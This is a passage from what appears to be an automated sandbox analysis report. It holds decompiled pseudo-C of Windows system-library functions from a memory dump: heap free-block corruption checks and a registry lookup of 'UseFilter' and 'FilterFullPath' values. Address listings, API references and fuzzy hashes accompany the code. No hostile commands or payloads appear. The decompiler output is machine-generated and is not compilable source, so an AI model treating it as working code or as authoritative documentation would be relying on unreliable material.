							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E6B47B150();
								} else {
									E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E6B47B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x6b566378 = 1;
									asm("int3");
									 *0x6b566378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E6B52FA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E6B53A80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E6B4CD540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E6B47B150();
													} else {
														E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E6B47B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x6b566378 = 1;
														asm("int3");
														 *0x6b566378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E6B49A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E6B49A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E6B49BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E6B53A80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E6B4CD540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E6B47B150();
													} else {
														E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E6B47B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x6b566378 = 1;
														asm("int3");
														 *0x6b566378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E6B49A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										E6B49A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E6B49BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E6B49BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x6b4999ca
0x6b4999cc
0x6b4999df
0x6b4999e3
0x6b4999f8
0x6b4999fb
0x6b4999fb
0x00000000
0x6b499a48
0x6b499a48
0x6b499a4c
0x6b499a51
0x6b499a55
0x6b499a61
0x6b499a66
0x6b499a68
0x6b4e1457
0x6b4e145c
0x6b4e145c
0x6b499a68
0x6b499a6e
0x6b499a71
0x6b499a74
0x6b499a76
0x6b4e1466
0x6b4e1469
0x6b4e1469
0x6b4e146c
0x6b4e146e
0x6b4e1471
0x6b4e1474
0x6b4e1477
0x6b4e1479
0x6b4e159c
0x6b4e159c
0x6b4e159d
0x6b4e15a6
0x6b4e15ab
0x6b4e15ab
0x00000000
0x6b4e15ab
0x6b4e147f
0x6b4e1481
0x00000000
0x00000000
0x6b4e148a
0x6b4e148d
0x6b4e1493
0x6b4e1495
0x6b4e14c0
0x6b4e14c0
0x6b4e14c3
0x6b4e14c6
0x6b4e14c8
0x6b4e14cb
0x6b4e14cf
0x6b4e14f2
0x6b4e14f2
0x6b4e14f5
0x6b4e14f8
0x6b4e1501
0x6b4e1508
0x6b4e150b
0x6b4e150e
0x6b4e1510
0x6b4e1513
0x6b4e1515
0x6b4e1515
0x6b4e1518
0x6b4e1518
0x6b4e1513
0x6b4e1521
0x6b4e1525
0x6b4e152a
0x6b4e152d
0x6b4e1530
0x6b4e1532
0x6b4e1539
0x6b4e153d
0x6b4e155d
0x6b4e1562
0x6b4e153f
0x6b4e1555
0x6b4e155a
0x6b4e1570
0x6b4e1577
0x6b4e157c
0x6b4e1582
0x6b4e1585
0x6b4e1589
0x6b4e158b
0x6b4e1592
0x6b4e1593
0x6b4e1593
0x6b4e1589
0x6b4e1530
0x00000000
0x6b4e14f8
0x6b4e14d5
0x6b4e14da
0x6b4e14dc
0x00000000
0x6b4e14de
0x6b4e14e8
0x00000000
0x6b4e14e8
0x6b4e1497
0x6b4e1497
0x6b4e14a4
0x6b4e14a4
0x6b4e14a7
0x6b4e14a9
0x6b4e14ab
0x6b4e14ab
0x6b4e149c
0x6b4e149e
0x6b4e14a0
0x6b4e14b0
0x6b4e14b0
0x00000000
0x6b4e14a2
0x6b4e14a2
0x00000000
0x6b4e14a2
0x6b4e14a0
0x6b4e14b3
0x6b4e14bb
0x00000000
0x6b4e14bb
0x6b4e1495
0x6b499a7c
0x6b499a7c
0x6b499a7f
0x6b499a7f
0x6b499a82
0x6b499a84
0x6b499a87
0x6b499a8a
0x6b499a8d
0x6b499a8f
0x6b4e166a
0x6b4e166a
0x6b4e166b
0x6b4e1674
0x00000000
0x6b4e1674
0x6b499a95
0x6b499a97
0x00000000
0x00000000
0x6b499aa0
0x6b499aa3
0x6b499aa9
0x6b499aab
0x6b499ad7
0x6b499ad7
0x6b499ada
0x6b499add
0x6b499adf
0x6b499ae2
0x6b499ae6
0x6b499b22
0x6b499b27
0x6b499b29
0x00000000
0x6b499b2b
0x6b4e15be
0x00000000
0x6b4e15be
0x6b499b29
0x6b499ae8
0x6b499ae8
0x6b499aeb
0x6b499aee
0x6b4e15cb
0x6b4e15d2
0x6b4e15d5
0x6b4e15d7
0x6b4e15da
0x6b4e15dc
0x6b4e15dc
0x6b4e15dc
0x6b4e15da
0x6b4e15e5
0x6b4e15e9
0x6b4e15ee
0x6b4e15f1
0x6b4e15f3
0x6b4e15f9
0x6b4e1600
0x6b4e1604
0x6b4e1624
0x6b4e1629
0x6b4e1606
0x6b4e161c
0x6b4e1621
0x6b4e1637
0x6b4e163e
0x6b4e1643
0x6b4e1649
0x6b4e164c
0x6b4e1650
0x6b4e1656
0x6b4e165d
0x6b4e165e
0x6b4e165e
0x6b4e1650
0x6b4e15f3
0x6b499af4
0x6b499af7
0x6b499afc
0x6b499b00
0x6b499b04
0x6b499b08
0x6b499b14
0x6b4999fe
0x6b499a04
0x6b499a07
0x00000000
0x6b499a29
0x6b4e169c
0x6b4e16a0
0x6b4e16a5
0x6b4e16a9
0x6b4e16b5
0x6b4e16ba
0x6b4e16bc
0x6b4e16be
0x6b4e16c3
0x6b4e16c3
0x6b4e16bc
0x6b4e16c8
0x6b4e16cc
0x6b4e181b
0x6b4e181b
0x6b4e181e
0x6b4e181e
0x6b4e1821
0x6b4e1823
0x6b4e1826
0x6b4e1829
0x6b4e182c
0x6b4e182e
0x6b4e1688
0x6b4e1688
0x6b4e1689
0x6b4e168b
0x6b4e168c
0x6b4e168d
0x6b4e168f
0x6b4e1692
0x00000000
0x6b4e1692
0x6b4e1834
0x6b4e1836
0x00000000
0x00000000
0x6b4e183f
0x6b4e1842
0x6b4e1848
0x6b4e184a
0x6b4e1875
0x6b4e1875
0x6b4e1878
0x6b4e187b
0x6b4e187d
0x6b4e1880
0x6b4e1884
0x6b4e18a7
0x6b4e18a7
0x6b4e18aa
0x6b4e18ad
0x6b4e18b6
0x6b4e18bd
0x6b4e18c0
0x6b4e18c3
0x6b4e18c5
0x6b4e18c8
0x6b4e18ca
0x6b4e18ca
0x6b4e18cd
0x6b4e18cd
0x6b4e18c8
0x6b4e18d5
0x6b4e18da
0x6b4e18df
0x6b4e18e2
0x6b4e18e5
0x6b4e18e7
0x6b4e18ee
0x6b4e18f2
0x6b4e1912
0x6b4e1917
0x6b4e18f4
0x6b4e190a
0x6b4e190f
0x6b4e1925
0x6b4e192c
0x6b4e1931
0x6b4e193a
0x6b4e193e
0x6b4e1940
0x6b4e1947
0x6b4e1948
0x6b4e1948
0x6b4e193e
0x6b4e18e5
0x6b4e194f
0x6b4e1952
0x6b4e1956
0x6b4e195d
0x6b4e1961
0x6b4e196d
0x00000000
0x6b4e196d
0x6b4e188a
0x6b4e188f
0x6b4e1891
0x00000000
0x00000000
0x6b4e189d
0x00000000
0x6b4e189d
0x6b4e184c
0x6b4e1859
0x6b4e1859
0x6b4e185c
0x00000000
0x00000000
0x6b4e1851
0x6b4e1853
0x6b4e1855
0x6b4e1865
0x6b4e1865
0x6b4e1866
0x6b4e1868
0x6b4e1870
0x00000000
0x6b4e1870
0x6b4e1857
0x6b4e1857
0x6b4e185e
0x00000000
0x6b4e16d2
0x6b4e16d2
0x6b4e16d5
0x6b4e16d5
0x6b4e16d8
0x6b4e16da
0x6b4e16dd
0x6b4e16e0
0x6b4e16e3
0x6b4e16e5
0x6b4e1808
0x6b4e1808
0x6b4e1809
0x6b4e1812
0x6b4e1817
0x6b4e1817
0x00000000
0x6b4e1817
0x6b4e16eb
0x6b4e16ed
0x00000000
0x00000000
0x6b4e16f6
0x6b4e16f9
0x6b4e16ff
0x6b4e1701
0x6b4e172c
0x6b4e172c
0x6b4e172f
0x6b4e1732
0x6b4e1734
0x6b4e1737
0x6b4e173b
0x6b4e175e
0x6b4e175e
0x6b4e1761
0x6b4e1764
0x6b4e176d
0x6b4e1774
0x6b4e1777
0x6b4e177a
0x6b4e177c
0x6b4e177f
0x6b4e1781
0x6b4e1781
0x6b4e1784
0x6b4e1784
0x6b4e177f
0x6b4e178c
0x6b4e1791
0x6b4e1796
0x6b4e1799
0x6b4e179c
0x6b4e179e
0x6b4e17a5
0x6b4e17a9
0x6b4e17c9
0x6b4e17ce
0x6b4e17ab
0x6b4e17c1
0x6b4e17c6
0x6b4e17dc
0x6b4e17e3
0x6b4e17e8
0x6b4e17ee
0x6b4e17f1
0x6b4e17f5
0x6b4e17f7
0x6b4e17fe
0x6b4e17ff
0x6b4e17ff
0x6b4e17f5
0x6b4e179c
0x00000000
0x6b4e1764
0x6b4e1741
0x6b4e1746
0x6b4e1748
0x00000000
0x00000000
0x6b4e1754
0x00000000
0x6b4e1754
0x6b4e1703
0x6b4e1710
0x6b4e1710
0x6b4e1713
0x00000000
0x00000000
0x6b4e1708
0x6b4e170a
0x6b4e170c
0x6b4e171c
0x6b4e171c
0x6b4e171d
0x6b4e171f
0x6b4e1727
0x00000000
0x6b4e1727
0x6b4e170e
0x6b4e170e
0x6b4e1715
0x00000000
0x6b4e1715
0x6b4e16cc
0x6b499a45
0x6b499a45
0x6b499a0e
0x6b499a1c
0x6b499a23
0x6b4e167e
0x6b4e167f
0x6b4e1681
0x6b4e1683
0x6b4e1684
0x00000000
0x6b4e1684
0x00000000
0x6b499aad
0x6b499aad
0x6b499ab0
0x6b499ab3
0x6b499ab3
0x6b499ab6
0x00000000
0x00000000
0x6b499ab8
0x6b499aba
0x6b499abc
0x6b499ac8
0x6b499ac8
0x00000000
0x6b499abe
0x6b499abe
0x6b499ac0
0x00000000
0x6b499ac0
0x6b499abc
0x6b499ad2
0x00000000
0x6b499ad2
0x6b499aab

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 6B4E1572, 6B4E1639, 6B4E17DE, 6B4E1927
HEAP: , xrefs: 6B4E155D, 6B4E1624, 6B4E17C9, 6B4E1912
HEAP[%wZ]: , xrefs: 6B4E1550, 6B4E1617, 6B4E17BC, 6B4E1905

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: c72108aba4c419183c9fa517fa6a165b9a957b5c4513a7cf7e645bd35b55ffc5
Instruction ID: 03c2385f1022c1016752494284d977c0b8dc4b97f012a2690f950532ff6e902a
Opcode Fuzzy Hash: c72108aba4c419183c9fa517fa6a165b9a957b5c4513a7cf7e645bd35b55ffc5
Instruction Fuzzy Hash: 0422F170A402659FEB14CF28C491FBABBB5FF45709F1485ADE4958B342E739D882CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B478239, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 233
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6B478239(signed int* __ecx, long* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				long _v568;
				long _v572;
				intOrPtr _v576;
				short _v578;
				void* _v580;
				signed int _v584;
				intOrPtr _v586;
				void* _v588;
				void* _v592;
				void* _v596;
				intOrPtr _v600;
				long* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				void* _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				void* _t99;
				long _t118;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				void* _t138;
				intOrPtr _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0x6b56d360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E6B486D30( &_v580, L"UseFilter") < 0) {
					L4:
					return E6B4BB640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = E6B4B9650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E6B486D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(RtlPrefixUnicodeString( &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E6B4B9820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = E6B4B9600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E6B486D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
								E6B4B95D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = E6B4B9650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
									}
									_t147 =  *( *[fs:0x30] + 0x18);
									if(_t147 != 0) {
										_t150 = RtlAllocateHeap(_t147,  *0x6b567b9c + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(RtlCompareUnicodeString( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E6B4B95D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E6B4B95D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x6b478239
0x6b47824b
0x6b47824e
0x6b47825d
0x6b478260
0x6b47826e
0x6b478275
0x6b47827b
0x6b47827d
0x6b478287
0x6b478294
0x6b4782ce
0x6b4782de
0x6b4782de
0x6b47829c
0x6b47829d
0x6b4782a8
0x6b4782a9
0x6b4782b1
0x6b4782b2
0x6b4782b4
0x6b4782bb
0x6b4d2dfa
0x6b4782cc
0x6b4782cc
0x6b4d2e19
0x6b4d2e19
0x6b4d2e1b
0x6b4d2e1e
0x6b4d2e30
0x6b4d2e3d
0x00000000
0x00000000
0x6b4d2e5a
0x6b4d2e61
0x6b4d2e68
0x6b4d2e72
0x6b4d2e72
0x6b4d2e78
0x6b4d2e7e
0x6b4d2e80
0x6b4d2e86
0x6b4d2e8c
0x6b4d2e8c
0x6b4d2e92
0x6b4d2e93
0x6b4d2e99
0x6b4d2e9a
0x6b4d2e9c
0x6b4d2e9d
0x6b4d2ea4
0x6b4d2ea8
0x00000000
0x00000000
0x6b4d2eae
0x6b4d2eb8
0x6b4d2ec3
0x6b4d2eca
0x6b4d2ed1
0x6b4d2edb
0x6b4d2ee3
0x6b4d2eef
0x6b4d2efb
0x6b4d2efc
0x6b4d2f08
0x6b4d2f12
0x6b4d2f13
0x6b4d2f22
0x6b4d2f26
0x00000000
0x00000000
0x6b4d2f3d
0x6b4d2f41
0x6b4d3069
0x6b4d3069
0x6b4d306f
0x00000000
0x6b4d306f
0x6b4d2f47
0x6b4d2f4d
0x6b4d2f53
0x6b4d2f59
0x6b4d2f5a
0x6b4d2f5b
0x6b4d2f5c
0x6b4d2f64
0x6b4d2f65
0x6b4d2f70
0x6b4d2f78
0x6b4d2f84
0x6b4d2f92
0x6b4d2f92
0x6b4d2f9d
0x6b4d2fa2
0x6b4d3004
0x6b4d3008
0x00000000
0x00000000
0x6b4d300a
0x6b4d3010
0x6b4d3012
0x6b4d3018
0x00000000
0x6b4d2fa4
0x6b4d2fa4
0x6b4d2fa6
0x6b4d2fa6
0x00000000
0x6b4d2fa6
0x6b4d2fab
0x6b4d2fab
0x6b4d2fab
0x6b4d2fab
0x6b4d2fb1
0x6b4d2fb1
0x6b4d2fc1
0x6b4d2fc7
0x6b4d2fcf
0x6b4d3020
0x6b4d302a
0x00000000
0x00000000
0x6b4d302c
0x6b4d3034
0x00000000
0x00000000
0x6b4d3036
0x6b4d3039
0x6b4d3040
0x6b4d304a
0x6b4d3067
0x00000000
0x00000000
0x00000000
0x6b4d3067
0x6b4d2fd1
0x6b4d2fd7
0x6b4d2fdc
0x6b4d2fe4
0x6b4d2fe6
0x6b4d3074
0x6b4d307a
0x6b4d3080
0x6b4d3081
0x6b4d3087
0x6b4d3091
0x6b4d309f
0x6b4d309f
0x6b4d30a6
0x6b4d30a8
0x6b4d30aa
0x6b4d30b5
0x6b4d30b5
0x6b4d30b7
0x6b4d30bf
0x6b4d30c1
0x6b4d30c1
0x00000000
0x6b4d2dfa
0x6b4782c6
0x6b4d2ddd
0x00000000
0x00000000
0x6b4d2de8
0x00000000
0x00000000
0x6b4d2dee
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,UseFilter,?,00000000,?), ref: 6B47828D
ZwQueryValueKey.1105(?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6B4782B4
RtlInitUnicodeStringEx.1105(?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6B4D2E36
RtlPrefixUnicodeString.1105(?,?,00000001,?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6B4D2E53
ZwEnumerateKey.1105(?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?,00000220), ref: 6B4D2E9F
ZwOpenKey.1105(00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?), ref: 6B4D2F1D
RtlInitUnicodeStringEx.1105(?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\), ref: 6B4D2F38
ZwQueryValueKey.1105(00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220), ref: 6B4D2F6B
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000), ref: 6B4D2F92

Strings

FilterFullPath, xrefs: 6B4D2F2C
\??\, xrefs: 6B4D2E2A
UseFilter, xrefs: 6B478263

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Init$QueryValue$EnumerateFreeHeapOpenPrefix
String ID: FilterFullPath$UseFilter$\??\
API String ID: 941260810-2779062949
Opcode ID: ac0ea689ef67fd3c2dc9e01b24b3ae315d07f02b0f18c3c4cd7adca16d620c19
Instruction ID: bc23ff0f89664b5dbafb40644980276335bdab5995831ad30f59186a3cc42865
Opcode Fuzzy Hash: ac0ea689ef67fd3c2dc9e01b24b3ae315d07f02b0f18c3c4cd7adca16d620c19
Instruction Fuzzy Hash: 44A17C75D116299BDB31DF68CC88F99B7B8EF44714F1005EAE908A7250EB399E84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6B4740FD, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 195
